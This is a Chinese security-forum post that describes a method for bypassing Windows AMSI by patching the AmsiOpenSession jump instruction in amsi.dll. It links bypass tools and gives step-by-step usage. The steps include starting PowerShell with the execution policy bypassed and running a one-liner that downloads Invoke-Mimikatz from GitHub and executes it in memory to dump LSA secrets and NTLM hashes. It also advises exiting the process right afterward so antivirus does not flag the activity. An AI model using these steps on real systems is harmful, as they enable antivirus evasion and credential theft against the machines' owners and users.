安全矩阵

 找回密码
 立即注册
搜索
查看: 761|回复: 0

2023!最新绕过AMSI的一个方法!!

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-8-24 16:26:06 | 显示全部楼层 |阅读模式
2023!最新绕过AMSI的一个方法!!
什么是 AMSI?
Microsoft 的“ Windows 反恶意软件扫描接口 (AMSI) 是一种多功能接口标准,允许您的应用程序和服务与计算机上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件防护。”

简单来说,AMSI是微软实现的,用于扫描内存中程序的执行情况。它也在 PowerShell 中实现,这意味着我们在 PowerShell 中运行的任何命令和脚本都会首先传递到 AMSI 进行检测,然后传递到主防病毒引擎。





什么是amsi.dll?

amsi.dll 文件提供 Windows 中 AMSI 功能的实现。DLL 文件包含用于在 Windows 中初始化、配置和使用 AMSI 功能的函数。该文件还负责加载和卸载 AMSI 引擎。


AMSI AmsiOpenSession 绕过


AmsiOpenSession 是 amsi.dll 文件提供的函数,作为 Windows 中反恶意软件扫描接口 (AMSI) 的一部分。AmsiOpenSession 函数用于为调用应用程序创建新的 AMSI 会话。
AmsiOpenSession 函数可用于通过设置会话的上下文和行为来配置 AMSI 会话。例如,应用程序可以设置会话的上下文以指定正在扫描的数据的内容类型,例如脚本或二进制数据。
让我们首先反汇编 AmsiOpenSession 函数amsi.dll:



有一个测试指令,它基本上在它自己(rcx,rcx)之间执行按位与运算,如果结果为零,则设置零标志(ZF = 1)。
如果设置了零标志,它将遵循 JE(跳转等于)指令 0x180008244(这是一个错误分支),指示 0x80070057
现在,如果我们可以将 JE 指令修改为 JNE(跳转不等于),错误分支将永远不会出现!,从而允许我们运行任何命令而不会被标记!

@TheD1rkMtr 有一个名为 AMSI_patch 的项目,它做同样的事情。我还使用相同的想法创建了相同的项目,但实现略有不同(所有积分和荣誉都归于@TheD1rkMtr)。

您可以在这里找到代码:
  1. https://github.com/TheD1rkMtr/AMSI_patch
  2. https://github.com/surya-dev-singh/AmsiBypass-OpenSessio
复制代码
绕过 AMSI 的步骤:

1. 从上面的项目下载amsibypass.exe文件,您也可以使用该文件构建您自己的.sln项目(注意:该二进制文件可能会在一段时间内被 AV 标记。
2. 获得amsibypass.exe文件后,使用管理员权限打开 PowerShell 并禁用执行策略:
  1. powershell -ep bypass -nop
复制代码
3. 现在,您可以在当前的PowerShell会话或另一个PowerShell会话中运行它,但您将需要该会话的PID,像下图这样。




4. 现在,正如您所看到的,它显示 AMSI PATCHED!,我们可以尝试运行类似的恶意命令invoke-mimikatz。
我们直接从nishang的GitHub下载并运行invoke-mimikatz脚本



这里我们使用了PowerShell命令:
  1. PS C:\Users\szero\Desktop> IEX(New-Object Net.Webclient).DownloadString("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") ; Invoke-Mimikatz -Command '"lsadump::lsa /patch"' ; exit
复制代码
这里我们直接从GitHub下载mimikatz,加载到内存中,执行它,然后结束PowerShell进程。exit我们最后使用了它,以便它可以与 OPSEC 配合使用。
如果我们不结束(退出)正在加载 mimikatz 的 PowerShell 进程,那么它将被标记,尽管它会显示 NTLM 转储。这是由于防病毒产品对内存和进程进行启发式扫描所致,这会将其标记为恶意。

现在,如果我们只是在命令末尾添加一个退出,这将在执行和转储 NTLM 哈希值后立即退出 PowerShell 会话,那么什么也检测不到!

现在,什么也没有被发现!



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 11:43 , Processed in 0.013173 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表